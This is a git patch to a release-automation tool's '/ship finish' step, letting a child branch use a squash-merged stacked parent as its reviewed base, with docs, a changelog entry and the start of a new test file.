From 549b9a86609474e7218b4c82fdfcc5aba8b820fa Mon Sep 17 00:00:00 2001 From: Garry Tan Date: Wed, 4 Nov 2026 22:30:15 -0800 Subject: [PATCH] fix(ship): finish takes a landed stack parent as the reviewed base, fail-closed (GST-1399) (#4021) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(ship): finish takes a landed stack parent as the reviewed base, fail-closed on metadata and never bounded (GST-1399) Ported from #4013 onto #4020's route: the stacked-parent path judges every shipped path's metadata class against main, counts stamp_paths and release_outputs only while stamp-only, and never feeds the bounded route. The receipt carry's landed-parent search finds a squash main edited since. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(ship): a loop exception starts at the landed parent; a conflicted base commit never holds a parent (GST-1399) Review-Finding: p1/red-team#1 reader=red-team Review-Finding: v1/outside-voice#1 reader=outside-voice Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(ship): a metadata-only conflict still holds a landed parent; a post-merge loop head starts at its own fork (GST-1399) heldBy counts a merge as conflicted only when a conflicted path is inside its pathspec, so a train's VERSION restamp in the squash no longer hides the landed parent. The review-loop exception's atHead uses patchBase, so a fix-check head after the child merged main starts at its own merge base, not at the parent. Review-Finding: p2/specialist-batched#1 reader=specialist-batched Review-Finding: p2/red-team#1 reader=red-team Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test(ship): stacked-parent loop-exception matrix over merge order, parent state and fix-check head (GST-1399) 28 cells: the child merged main before the parent landed, after, or never; the parent landed by squash, by squash with a later main edit of its lines, with a release fold, or not at all; the fix-check head is before any merge, the merge, or after it. Every cell runs the postinstall and stamp_paths probes (parent changes main never took, edited after the fix-check) and a control run (the child's own file and a main-only file edited after the fix-check). Red at 3f4c47c (4): merged before or after the landing × parent edited × fix-check head merge or post; the exception accepts package.json and src/policy.ts. The other 24 cells pass. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(ship): a loop exception's fix-check paths are the head's own patch from both forks; heldBy reads merge-tree with -z (GST-1399) The "touched at the fix-check head" set is the intersection of the head's patch from its merge base and from the landed parent, so neither a parent change main never took nor a main-only file counts as reviewed, whatever order the child merged main in. heldBy reads conflicted names NUL-separated, so a C-quoted name still counts as a conflict. The stacked-parent matrix (28 cells) is green. Review-Finding: fc1/fix-check#1 reader=fix-check Review-Finding: fc1/fix-check#3 reader=fix-check Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- .../capy-gst-1399-stack-parent-base.md | 1 + docs/ship-policy.md | 32 +- lib/ship-bin-common.ts | 10 +- lib/ship-patch.ts | 26 + lib/ship-receipt.ts | 44 +- lib/ship-release.ts | 84 +++- scripts/lib/windows-curation.ts | 4 + test/ship-finish-stack-parent.test.ts | 457 ++++++++++++++++++ 8 files changed, 629 insertions(+), 29 deletions(-) create mode 100644 changelog.d/capy-gst-1399-stack-parent-base.md create mode 100644 test/ship-finish-stack-parent.test.ts diff --git a/changelog.d/capy-gst-1399-stack-parent-base.md b/changelog.d/capy-gst-1399-stack-parent-base.md new file mode 100644 index 000000000..4b044944f --- /dev/null +++ b/changelog.d/capy-gst-1399-stack-parent-base.md @@ -0,0 +1 @@ +- **/ship's finish stops flagging main's edits after a stacked parent squash-merges.** A child PR reviewed against its parent branch saves the parent's head as its reviewed base. Once the parent squash-merged and the child merged main, `gstack-ship-release finish` refused that head as not on main, and the old merge base it fell back to counted the parent's and main's later edits as changes since review, so #4008 paid two review exceptions and a split for files it never changed. finish now takes a landed stack parent as `--reviewed-base`: a commit the branch contains whose change a main commit holds, found at the squash even when main edited those lines afterwards (`REVIEWED_BASE: stack parent landed on origin/main at `). The route, the granted fix-check's credit, the scoped-review packet and the docs carry then compare the child's own patch, and a file the child no longer changes counts as base only when main already holds the reviewed change to it. A child edit after review, a revert to main's content, a parent main never received (including a `package.json` script the child's version bump later touched, or a logic edit to a `stamp_paths` file) and any other commit off main still stop. A post-review edit on this path never takes the one-reader bounded route; it stops for a full re-review. The receipt carry's landed-parent search finds the squash the same way. (GST-1399) diff --git a/docs/ship-policy.md b/docs/ship-policy.md index 0a11024a5..85b8080fe 100644 --- a/docs/ship-policy.md +++ b/docs/ship-policy.md @@ -1685,7 +1685,37 @@ child made before its receipt brought it in) unless HEAD changed it against the base (GST-1214): an equal patch-id carries with reason `stack parent landed`, base context next to the child's unchanged hunks is `RECEIPT_CARRY_SCOPED_REVIEW`, and any other -difference refuses with `RECEIPT_CARRY_PRODUCT_CHANGED`. +difference refuses with `RECEIPT_CARRY_PRODUCT_CHANGED`. When merging the commit +into the current base conflicts because the base edited the landed lines +afterwards, the base commits since the fork that touched every path of its +change are tried newest first (at most 200), so the squash itself still counts +(GST-1399). + +**finish after a stack parent lands (GST-1399).** A child reviewed against its +parent branch passes the parent's head to `gstack-ship-release finish +--reviewed-base`, even after the parent squash-merged and the child merged the +base. finish takes it when the branch contains it and a base commit holds its +change outside release metadata and changelog fragments (a release folds every +fragment on the base), found as the carry finds a landed parent, and +prints `REVIEWED_BASE: stack parent landed on origin/ at `. +The route, a granted fix-check's sides, the scoped-review packet and the docs +carry then compare each commit's patch from that parent, so the parent's and the +base's edits route as `base=`. The route also reads every path the branch ships +against the base, changed since review or not, and judges every shipped path's +release-metadata class against the base, so a parent change the base never +received (a `package.json` script, even after the child's version bump) or a +merge that kept a line the base changed since still stops. Both the landed check +and this class count a `stamp_paths` or `release_outputs` file as metadata only +while its edit is a version stamp, as `stamp_files` are; any other edit to one +must be held by the base or stop. A landed stack parent never takes the bounded +route: a post-review edit that a child reviewed against the base would send to +one scoped reader stops for Steps 5–11.5 instead. A path the child no longer changes against the base routes as base only +when the base already holds the reviewed change to it (a three-way merge of the +reviewed change into the base leaves the base's bytes, and a reviewed mode change +is the base's mode); a post-review revert to the base's content or mode still +stops. Any other commit +off the base, a parent the base never received included, stops with +`--reviewed-base is not on origin/, nor a landed stack parent`. Since the release that added `review_scope`. A `/ship` receipt names the head it reviewed, so a conflict-only merge of the base or a test-only fix used to diff --git a/lib/ship-bin-common.ts b/lib/ship-bin-common.ts index 6cf1b3457..82660182c 100644 --- a/lib/ship-bin-common.ts +++ b/lib/ship-bin-common.ts @@ -102,14 +102,16 @@ export function versionOnlyEdit(cwd: string, ref: string, p: string): boolean { /** * Release metadata a version stamp and Steps 13-14 write, compared against `ref`: the release commit's paths, * never a behavior change. A manifest counts only while its edit is version-only (a dependency, script or - * lockfile change is a build input); bun.lock never counts. + * lockfile change is a build input); bun.lock never counts. `stampOnly` (a landed stack parent's checks, GST-1399) + * counts a `stamp_paths` or `release_outputs` file only while its edit is a version stamp, as `stamp_files` are. */ -export function releasePaths(policy: Record | null, cwd: string, ref: string, base: string): string[] { +export function releasePaths(policy: Record | null, cwd: string, ref: string, base: string, stampOnly = false): string[] { const list = (v: unknown) => (Array.isArray(v) ? v.filter((s): s is string => typeof s === 'string') : []); const fragment = fragmentPath(policy, cwd); + const declared = [...list(policy?.release_outputs), ...list(policy?.stamp_paths)]; return [...new Set(['VERSION', 'CHANGELOG.md', 'TODOS.md', 'agents-digest/gstack-AGENTS.md', ...VERSIONED_MANIFESTS.filter(p => versionOnlyEdit(cwd, ref, p)), - ...(typeof policy?.changelog === 'string' ? [policy.changelog] : []), ...(fragment ? [fragment] : []), ...list(policy?.release_outputs), ...list(policy?.stamp_paths), - ...stampedFiles(policy, cwd, ref, base)])]; + ...(typeof policy?.changelog === 'string' ? [policy.changelog] : []), ...(fragment ? [fragment] : []), ...(stampOnly ? [] : declared), + ...stampedFiles(stampOnly ? { ...policy, stamp_files: [...list(policy?.stamp_files), ...declared] } : policy, cwd, ref, base)])]; } /** diff --git a/lib/ship-patch.ts b/lib/ship-patch.ts index d3e85840f..9512d0a26 100644 --- a/lib/ship-patch.ts +++ b/lib/ship-patch.ts @@ -22,6 +22,7 @@ import { spawnSync } from 'node:child_process'; import { createHash } from 'node:crypto'; import * as fs from 'node:fs'; +import * as os from 'node:os'; import * as path from 'node:path'; import { EMPTY_PROJECT_CONFIG, scanCandidate } from './gate-diff/index'; import { parseUnifiedDiff } from './gate-diff/git'; @@ -127,6 +128,31 @@ export function comparePath(repoRoot: string, s: PatchSides, rel: string): PathV return ids[0] === ids[1] ? 'same' : 'context'; } +/** + * Whether the current base already holds the reviewed change to a path the branch no longer changes (GST-1399): a + * three-way merge of reviewedBase -> reviewed into currentBase leaves currentBase's bytes, as when the base absorbed the + * child's hunk. A post-review revert to the base's content leaves the reviewed change out of the base, so it is not held, + * and a reviewed mode change (executable bit, symlink) is held only when the base has the reviewed mode. A path missing on + * any side is not held. + */ +export function baseHolds(repoRoot: string, s: PatchSides, rel: string): boolean { + const blobs = [s.currentBase, s.reviewedBase, s.reviewed].map(ref => { + const r = spawnSync('git', ['cat-file', 'blob', `${ref}:${rel}`], { cwd: repoRoot, timeout: 120_000, maxBuffer: 256 * 1024 * 1024 }); + return r.status === 0 ? r.stdout : null; + }); + if (blobs.some(b => b === null)) return false; + const [mc, mb, mr] = [s.currentBase, s.reviewedBase, s.reviewed].map(ref => git(repoRoot, ['ls-tree', '--full-tree', ref, '--', rel])?.split(' ')[0]); + if (!mc || !mr || (mr !== mb && mr !== mc)) return false; + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ship-patch-')); + try { + const files = blobs.map((b, i) => { const f = path.join(dir, String(i)); fs.writeFileSync(f, b!); return f; }); + const merged = spawnSync('git', ['merge-file', '-p', '-q', ...files], { cwd: repoRoot, timeout: 120_000, maxBuffer: 256 * 1024 * 1024 }); + return merged.status === 0 && merged.stdout.equals(blobs[0]!); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } +} + function hunkTexts(diff: string): string[] { return diff.split(/^(?=@@ )/m).slice(1).map(h => h.replace(/^@@ [^@]*@@/, '@@')); } diff --git a/lib/ship-receipt.ts b/lib/ship-receipt.ts index d4de56bcc..43a039ffc 100644 --- a/lib/ship-receipt.ts +++ b/lib/ship-receipt.ts @@ -321,12 +321,50 @@ export function planCarry(input: CarryPlanInput): CarryPlan { }; } +/** How many base commits since the fork heldBy tries after a conflicted base tip, newest first. */ +export const HELD_WALK = 200; + +/** + * The base commit that holds `commit`'s own change (GST-1199, GST-1399; finish's landed stack parent and landedStackParent): merging `commit` into it changes no path in + * `pathspec`. The current base is tried first. When that merge conflicts (the base edited the landed lines afterwards), + * the commits on its first-parent history since the fork that touched every path of the change are tried newest first, + * so a squash the base later edited is still found. A change with no path of its own is held by no commit (any base + * trivially holds it), and a conflict inside `pathspec` is never held (one only in excluded release metadata, like a + * train's VERSION restamp, is). Null when none within HELD_WALK holds it or git cannot tell. + */ +export function heldBy(repoRoot: string, commit: string, currentBase: string, pathspec: readonly string[]): string | null { + const run = (args: string[]) => spawnSync('git', ['-c', 'core.quotepath=off', ...args], { cwd: repoRoot, encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 }); + const fork = run(['merge-base', currentBase, commit]).stdout.trim(); + const own = fork ? run(['diff', '-z', '--name-only', '--no-renames', fork, commit, '--', ...pathspec]) : null; + const paths = own?.status === 0 ? own.stdout.split('\0').filter(Boolean) : []; + if (!paths.length) return null; + const holds = (at: string): 'held' | 'conflict' | 'no' => { + const merged = run(['merge-tree', '--write-tree', '--no-messages', '--name-only', '-z', at, commit]); + const [tree, ...conflicted] = merged.status === 0 || merged.status === 1 ? merged.stdout.split('\0').filter(Boolean) : []; + const mb = conflicted.length ? run(['merge-base', at, commit]).stdout.trim() : ''; + const theirs = mb ? run(['diff', '-z', '--name-only', '--no-renames', mb, commit, '--', ...pathspec]) : null; + const clean = !conflicted.length || (theirs?.status === 0 && !theirs.stdout.split('\0').some(p => conflicted.includes(p))); + if (tree && clean && run(['diff', '--quiet', at, tree, '--', ...pathspec]).status === 0) return 'held'; + return merged.status === 1 ? 'conflict' : 'no'; + }; + const tip = holds(currentBase); + if (tip !== 'conflict') return tip === 'held' ? currentBase : null; + const log = run(['log', '--first-parent', '-z', '--format=%x01%H', '--name-only', '--no-renames', `--max-count=${HELD_WALK}`, `${fork}..${currentBase}`, '--', ...paths.map(p => `:(top,literal)${p}`)]); + if (log.status !== 0) return null; + for (const entry of log.stdout.split('\x01').filter(Boolean)) { + const [at, ...names] = entry.split(/[\n\0]/).filter(Boolean); + if (at && at !== currentBase && paths.every(p => names.includes(p)) && holds(at) === 'held') return at; + } + return null; +} + /** How many commits of the reviewed range landedStackParent tries, newest first. */ export const STACK_PARENT_WALK = 100; /** * The newest commit inside the reviewed range (rangeBase..reviewed, the reviewed head itself excluded) whose product - * change the current base already holds: merging it into currentBase changes no product path. That is a stack parent + * change the current base already holds: merging it into currentBase, or into the base commit that landed it when the + * base edited those lines since (heldBy, GST-1399), changes no product path. That is a stack parent * that squash-merged (or merged) into the base after the receipt was written against the base (GST-1199). A commit with no * product change of its own (a test-first commit) is no parent, since any base trivially holds it. Null when no * commit within STACK_PARENT_WALK qualifies or git cannot tell; a conflicted product path is never held. @@ -337,9 +375,7 @@ export function landedStackParent(repoRoot: string, s: { rangeBase: string; revi if (commits.status !== 0) return null; for (const commit of commits.stdout.split('\n').filter(c => c && c !== s.reviewed)) { if (run(['diff', '--quiet', s.rangeBase, commit, '--', ...product]).status !== 1) continue; - const merged = run(['merge-tree', '--write-tree', '--no-messages', s.currentBase, commit]); - const tree = merged.status === 0 || merged.status === 1 ? merged.stdout.split('\n')[0]?.trim() : undefined; - if (tree && run(['diff', '--quiet', s.currentBase, tree, '--', ...product]).status === 0) return commit; + if (heldBy(repoRoot, commit, s.currentBase, product)) return commit; } return null; } diff --git a/lib/ship-release.ts b/lib/ship-release.ts index 87f1296f6..9cd5058b3 100644 --- a/lib/ship-release.ts +++ b/lib/ship-release.ts @@ -15,7 +15,8 @@ import { mergeChangelogs, normalizeChangelog } from './changelog-check'; import { versionAtRef } from './restamp'; import { classifyPath } from './review-depth'; import { matchesAny } from './ship-policy'; -import { boundedPaths, comparePath, contextPacket, gateEditedPaths, isTestCode, PACKET_SECTION_CAP, readScopedReview, touchedPaths, type BoundedKind, type PatchSides } from './ship-patch'; +import { baseHolds, boundedPaths, comparePath, contextPacket, gateEditedPaths, isTestCode, PACKET_SECTION_CAP, readScopedReview, touchedPaths, type BoundedKind, type PatchSides } from './ship-patch'; +import { heldBy } from './ship-receipt'; import { locate, readRecord } from './approval-record'; import { reviewFreshness } from './review-evidence'; import { parseReviewLoopException, type ReviewLoopException } from './ship-receipt-depth'; @@ -37,7 +38,7 @@ export const RELEASE_HELP = `gstack-ship-release — /ship Steps 12 and 15-17 (s [--docs-requested ... --docs-result ] [--review-loop-exception ] Step 15's release commit, Step 16 stages 1-4 (your builds, the reviewed-tree route, docs freshness, each lane's receipt run once if stale) and the pregate on the stamped tree; --reviewed-base (the merge base - saved with the reviewed tree) routes paths only the base moved as base=, and an adjacent base edit as context=; + saved with the reviewed tree, or a stack parent's head once the parent landed: REVIEWED_BASE:) routes paths only the base moved as base=, and an adjacent base edit as context=; --review-loop-exception (the record write takes) routes paths the branch touched at fix_check.head (narrowed to fix_check.files when listed) and changed since as accepted= A lane the base branch maps in .gstack/pregate.json ship_lanes_from is carried from a verified CI run at this exact tree, else deferred (EVIDENCE: DEFERRED): the pregate then runs its preflight stage here and its tests stage in accept @@ -201,8 +202,41 @@ function harnessRepin(cwd: string, from: string, to: string, p: string): boolean */ type FixCheckException = ReviewLoopException & { fix_check: NonNullable }; type Routed = Record<'behavior' | 'docs' | 'metadata' | 'tests' | 'base' | 'context' | 'bounded' | 'accepted' | 'fix_checked', string[]>; -type RouteOpts = { docsRechecked: boolean; contextReviewed?: string; loop?: FixCheckException; audited: Record | null; bookkeeping: readonly string[] }; -function route(cwd: string, base: string, reviewed: string, reviewedBase: string | undefined, release: string[], opts: RouteOpts, r: Report): Routed | null { +type ReviewedBase = { commit: string; parent: boolean }; +type RouteOpts = { docsRechecked: boolean; contextReviewed?: string; loop?: FixCheckException; audited: Record | null; bookkeeping: readonly string[]; baseRelease?: string[] }; + +/** + * The --reviewed-base commit: one on the base, or a landed stack parent (GST-1399). A child reviewed against its parent + * branch saves the parent's head; once the parent squash-merges and the child merges the base, that head is on no base + * history, but the branch contains it and a base commit holds its change outside release metadata (heldBy), changelog + * fragments included, since a release folds every fragment on the base. + * Each side's patch then runs from the parent, so the parent's and the base's edits are base, and a parent the base never + * received, or any other commit off the base, still stops. The route then also reads every path the branch ships against + * the base, unchanged since review or not, so a parent change the base never received, or a merge that kept a line the + * base changed since, still stops even when the landed check's metadata exclusions let the parent through. + */ +function reviewedBaseCommit(cwd: string, baseRef: string, reviewedBase: string, metadata: string[], r: Report): ReviewedBase | null { + const rb = git(cwd, ['rev-parse', '--verify', '--quiet', `${reviewedBase}^{commit}`]).stdout.trim(); + if (!rb) { r.stop(`--reviewed-base ${reviewedBase.slice(0, 40)} is not a commit in this clone: pass the merge base saved with the reviewed tree (git merge-base ${baseRef} HEAD at Step 11)`); return null; } + if (git(cwd, ['merge-base', '--is-ancestor', rb, baseRef]).status === 0) return { commit: rb, parent: false }; + const cb = git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim(); + const at = cb && git(cwd, ['merge-base', '--is-ancestor', rb, 'HEAD']).status === 0 ? heldBy(cwd, rb, cb, [':(top)', ...metadata]) : null; + if (at) { + r.add(`REVIEWED_BASE: stack parent ${rb.slice(0, 12)} landed on ${baseRef} at ${at.slice(0, 12)}`); + return { commit: rb, parent: true }; + } + r.stop(`--reviewed-base ${rb.slice(0, 12)} is not on ${baseRef}, nor a landed stack parent (a commit this branch contains whose change ${baseRef} already holds): pass the merge base saved with the reviewed tree (git merge-base HEAD at Step 11)`); + return null; +} + +/** Where a branch commit's own patch starts: its merge base with the base, or the landed stack parent when the commit holds it and forked before it. */ +function patchBase(cwd: string, baseRef: string, commit: string, parent: string | undefined): string { + const fork = git(cwd, ['merge-base', baseRef, commit]).stdout.trim(); + const holds = (a: string, d: string) => git(cwd, ['merge-base', '--is-ancestor', a, d]).status === 0; + return parent && fork && holds(parent, commit) && holds(fork, parent) ? parent : fork; +} + +function route(cwd: string, base: string, reviewed: string, reviewedBase: ReviewedBase | undefined, release: string[], opts: RouteOpts, r: Report): Routed | null { const now = bin(cwd, 'gstack-wtree', [], 60_000).stdout.trim(); if (!/^[0-9a-f]{40,64}$/.test(now)) { r.stop('gstack-wtree printed no tree; the stage 2 comparison is blocked'); return null; } const changedSet = touchedPaths(cwd, reviewed, now); @@ -210,26 +244,29 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string const baseRef = `origin/${base.replace(/^origin\//, '')}`; let sides: PatchSides | undefined; let touched = new Set(); + let shipped = new Set(); + const parent = reviewedBase?.parent ? reviewedBase.commit : undefined; if (reviewedBase !== undefined) { - const rb = git(cwd, ['rev-parse', '--verify', '--quiet', `${reviewedBase}^{commit}`]).stdout.trim(); - if (!rb) { r.stop(`--reviewed-base ${reviewedBase.slice(0, 40)} is not a commit in this clone: pass the merge base saved with the reviewed tree (git merge-base ${baseRef} HEAD at Step 11)`); return null; } - if (git(cwd, ['merge-base', '--is-ancestor', rb, baseRef]).status !== 0) { r.stop(`--reviewed-base ${rb.slice(0, 12)} is not on ${baseRef}: pass the merge base saved with the reviewed tree (git merge-base ${baseRef} HEAD at Step 11)`); return null; } const cb = git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim(); - const a = touchedPaths(cwd, rb, reviewed); + const a = touchedPaths(cwd, reviewedBase.commit, reviewed); const b = cb ? touchedPaths(cwd, cb, now) : null; if (!a || !b) { r.stop(`git could not diff the branch against ${baseRef} (fetch it first): stage 2 is blocked`); return null; } - sides = { reviewedBase: rb, reviewed, currentBase: cb, current: now }; + sides = { reviewedBase: reviewedBase.commit, reviewed, currentBase: cb, current: now }; touched = new Set([...a, ...b]); + shipped = b; } const by: Routed = { behavior: [], docs: [], metadata: [], tests: [], base: [], context: [], bounded: [], accepted: [], fix_checked: [] }; - for (const p of [...changedSet].sort()) { - const verdict = sides ? (touched.has(p) ? comparePath(cwd, sides, p) : 'same') : 'changed'; - by[verdict === 'same' ? 'base' : release.includes(p) || harnessRepin(cwd, reviewed, now, p) ? 'metadata' : sides && isTestCode(p) ? 'tests' : classifyPath(p, cwd) === 'docs' && !matchesAny(opts.bookkeeping, p) ? 'docs' : verdict === 'context' ? 'context' : 'behavior'].push(p); + const onlyShipped = new Set(parent ? [...shipped].filter(p => !changedSet.has(p)) : []); + for (const p of [...changedSet, ...onlyShipped].sort()) { + const verdict = sides ? (!touched.has(p) || (parent && !shipped.has(p) && baseHolds(cwd, sides, p)) ? 'same' : comparePath(cwd, sides, p)) : 'changed'; + const metadata = parent && shipped.has(p) ? opts.baseRelease!.includes(p) || harnessRepin(cwd, sides!.currentBase, now, p) : release.includes(p) || harnessRepin(cwd, reviewed, now, p); + by[verdict === 'same' ? 'base' : metadata ? 'metadata' : sides && isTestCode(p) ? 'tests' : classifyPath(p, cwd) === 'docs' && !matchesAny(opts.bookkeeping, p) ? 'docs' : verdict === 'context' ? 'context' : 'behavior'].push(p); } - const gated = gateEditedPaths(cwd, reviewed, now, by.tests) ?? new Set(by.tests); + const shippedTests = by.tests.filter(p => onlyShipped.has(p)); + const gated = new Set([...(gateEditedPaths(cwd, reviewed, now, by.tests.filter(p => !onlyShipped.has(p))) ?? by.tests), ...(gateEditedPaths(cwd, sides?.currentBase ?? reviewed, now, shippedTests) ?? shippedTests)]); by.behavior.push(...by.tests.filter(p => gated.has(p))); by.tests = by.tests.filter(p => !gated.has(p)); - const bounded = boundedPaths(cwd, { sides, reviewed, now, base: baseRef, candidates: by.behavior, audited: opts.audited, bookkeeping: opts.bookkeeping }); + const bounded = boundedPaths(cwd, { sides, reviewed, now, base: baseRef, candidates: parent ? [] : by.behavior, audited: opts.audited, bookkeeping: opts.bookkeeping }); by.bounded = Object.keys(bounded.kinds).sort(); by.behavior = by.behavior.filter(p => !by.bounded.includes(p)); const late = (): Record => Object.fromEntries(by.bounded.map(p => [p, bounded.kinds[p]!])); @@ -259,7 +296,7 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string if (counted) { const range = touchedPaths(cwd, fixFrom, fixCommit), after = touchedPaths(cwd, fixCommit, now); if (!range || !after) { r.stop(`git could not diff the fix-check range ${fixFrom.slice(0, 12)}..${fixCommit.slice(0, 12)} against the reviewed and current trees: stage 2 is blocked`); return null; } - const fixSides = { reviewedBase: git(cwd, ['merge-base', baseRef, fixCommit]).stdout.trim(), reviewed: fixCommit, currentBase: sides?.currentBase ?? git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim(), current: now }; + const fixSides = { reviewedBase: patchBase(cwd, baseRef, fixCommit, parent), reviewed: fixCommit, currentBase: sides?.currentBase ?? git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim(), current: now }; const unmoved = (p: string) => !after.has(p) || (!!fixSides.reviewedBase && !!fixSides.currentBase && comparePath(cwd, fixSides, p) === 'same'); by.fix_checked = [...by.behavior, ...by.tests, ...by.context, ...by.bounded].filter(p => range.has(p) && unmoved(p)).sort(); for (const k of ['behavior', 'tests', 'context', 'bounded'] as const) by[k] = by[k].filter(p => !by.fix_checked.includes(p)); @@ -270,7 +307,9 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string const head = loop.fix_check.head; const since = touchedPaths(cwd, head, now); const fork = git(cwd, ['merge-base', baseRef, head]).stdout.trim(); - const atHead = fork ? touchedPaths(cwd, fork, head) : null; + const own = fork ? touchedPaths(cwd, fork, head) : null; + const fromParent = parent && ancestor(parent, head) ? touchedPaths(cwd, parent, head) : own; + const atHead = own && fromParent ? new Set([...own].filter(p => fromParent.has(p))) : null; if (!since || !atHead) { r.stop(`git could not list the paths changed since fix-check ${head.slice(0, 12)} or the paths the branch touched at it against ${baseRef}: stage 2 is blocked`); return null; } const listed = loop.fix_check.files; const unscanned = [...by.behavior, ...by.docs].filter(isTestCode); @@ -315,7 +354,7 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string * version, each against the audited bytes; GST-906), and --docs-requested fixes the audit's own result asked for do not * stale the audit (GST-391). */ -function docsFresh(cwd: string, base: string, postFile: string, moved: readonly string[], requested: string[], resultFile: string | undefined, loopAccepted: readonly string[] | undefined, r: Report): boolean { +function docsFresh(cwd: string, base: string, postFile: string, moved: readonly string[], requested: string[], resultFile: string | undefined, loopAccepted: readonly string[] | undefined, parent: string | undefined, r: Report): boolean { const cmp = bin(cwd, 'gstack-docs-candidate', ['compare', postFile], 120_000); let stale: string[] | null = null; try { stale = JSON.parse(cmp.stdout).content_changed; } catch { stale = null; } @@ -343,7 +382,7 @@ function docsFresh(cwd: string, base: string, postFile: string, moved: readonly } const baseRef = `origin/${base.replace(/^origin\//, '')}`; const nul = (out: string) => out.split('\0').filter(Boolean); - const auditBase = git(cwd, ['merge-base', baseRef, record.head]).stdout.trim(); + const auditBase = patchBase(cwd, baseRef, record.head, parent); const nowBase = git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim(); const nowTree = bin(cwd, 'gstack-wtree', [], 60_000).stdout.trim(); const atAudit = auditBase ? touchedPaths(cwd, auditBase, record.head) : new Set(); @@ -434,9 +473,14 @@ async function finishStages(argv: readonly string[], cwd: string): Promise | null = null; try { const h = JSON.parse(fs.readFileSync(flag('--docs-post')!, 'utf8')).hashes; audited = h && typeof h === 'object' && !Array.isArray(h) ? h : null; } catch { audited = null; } const bookkeeping = Array.isArray(policy?.bookkeeping) ? policy!.bookkeeping.filter((g: unknown): g is string => typeof g === 'string') : []; - const routed = route(cwd, base, flag('--reviewed-tree')!, flag('--reviewed-base'), release, { docsRechecked: has('--docs-rechecked'), contextReviewed: flag('--context-reviewed'), loop, audited, bookkeeping }, r); + const reviewedBaseArg = flag('--reviewed-base'); + const fragments = typeof policy?.changelog_fragments?.dir === 'string' ? [`:(top,exclude,glob)${policy.changelog_fragments.dir.replace(/\/+$/, '')}/*.md`] : []; + const reviewedBase = reviewedBaseArg === undefined ? undefined : reviewedBaseCommit(cwd, `origin/${base.replace(/^origin\//, '')}`, reviewedBaseArg, [...releasePaths(policy, cwd, flag('--reviewed-tree')!, base, true).map(p => `:(top,exclude,literal)${p}`), ...fragments], r); + if (reviewedBase === null) return r; + const baseRelease = reviewedBase?.parent ? releasePaths(policy, cwd, git(cwd, ['merge-base', `origin/${base.replace(/^origin\//, '')}`, 'HEAD']).stdout.trim(), base, true) : undefined; + const routed = route(cwd, base, flag('--reviewed-tree')!, reviewedBase, release, { docsRechecked: has('--docs-rechecked'), contextReviewed: flag('--context-reviewed'), loop, audited, bookkeeping, baseRelease }, r); if (!routed) return r; - if (!docsFresh(cwd, base, flag('--docs-post')!, [...routed.base, ...routed.context, ...stampedFiles(policy, cwd, flag('--reviewed-tree')!, base)], all('--docs-requested'), flag('--docs-result'), loop ? routed.accepted : undefined, r)) return r; + if (!docsFresh(cwd, base, flag('--docs-post')!, [...routed.base, ...routed.context, ...stampedFiles(policy, cwd, flag('--reviewed-tree')!, base)], all('--docs-requested'), flag('--docs-result'), loop ? routed.accepted : undefined, reviewedBase?.parent ? reviewedBase.commit : undefined, r)) return r; if (!list.length && !has('--no-lanes-approved')) return r.stop('no test lanes: require Step 5\'s explicit untested-scope approval (rerun with --no-lanes-approved) or run Steps 5-15'); const allow = evidenceExempt(release).join(','); const check = (l: { label: string; command: string }) => bin(cwd, 'gstack-evidence', ['check', '--label', l.label, '--expect-cmd', l.command, '--max-age', '24', '--allow-paths', allow], 60_000).stdout; diff --git a/scripts/lib/windows-curation.ts b/scripts/lib/windows-curation.ts index ecc2108af..481546a45 100644 --- a/scripts/lib/windows-curation.ts +++ b/scripts/lib/windows-curation.ts @@ -399,6 +399,10 @@ export const KNOWN_WINDOWS_INCOMPATIBLE: Array<{ file: string; reason: string }> file: 'test/ship-rereview-triggers.test.ts', reason: 'drives bin/gstack-ship-release, gstack-docs-candidate and gstack-wtree (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-release.test.ts; windows-latest fails every bin case at the first spawn (windows-free-shard 6, run 41193336209)', }, + { + file: 'test/ship-finish-stack-parent.test.ts', + reason: 'drives bin/gstack-ship-release, gstack-docs-candidate and gstack-wtree (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-rereview-triggers.test.ts; windows-latest fails every case at the first bin spawn (windows-scoped-shard, run 41950236362)', + }, ]; // Force-include overrides: files a WINDOWS_FRAGILE_PATTERNS regex excludes for diff --git a/test/ship-finish-stack-parent.test.ts b/test/ship-finish-stack-parent.test.ts new file mode 100644 index 000000000..1c676ccaf --- /dev/null +++ b/test/ship-finish-stack-parent.test.ts @@ -0,0 +1,457 @@ +/** + * finish after a stacked parent squash-merges (GST-1399): the child was reviewed against its parent branch, the parent + * squash-merged into main, and the child merged main. The review's base (the parent's head) is not on main, but it is a + * landed stack parent: --reviewed-base takes it, and the route, the fix-check credit and the docs carry compare the child's + * own patch against each base, so the parent's and main's edits are base, never changes since review. The receipt carry's + * landed-parent search (GST-1199) finds the parent the same way when main edited the parent's lines after the squash. + */ +import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import { EXIT } from '../lib/headless-artifacts'; +import { extractReceipt } from '../lib/ship-receipt'; +import { cleanup, commit, makeFixtureRepo, runBin, type FixtureRepo } from './helpers/pregate-fixture'; +import { lineOf, RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture'; + +setDefaultTimeout(90_000); +const BIN = 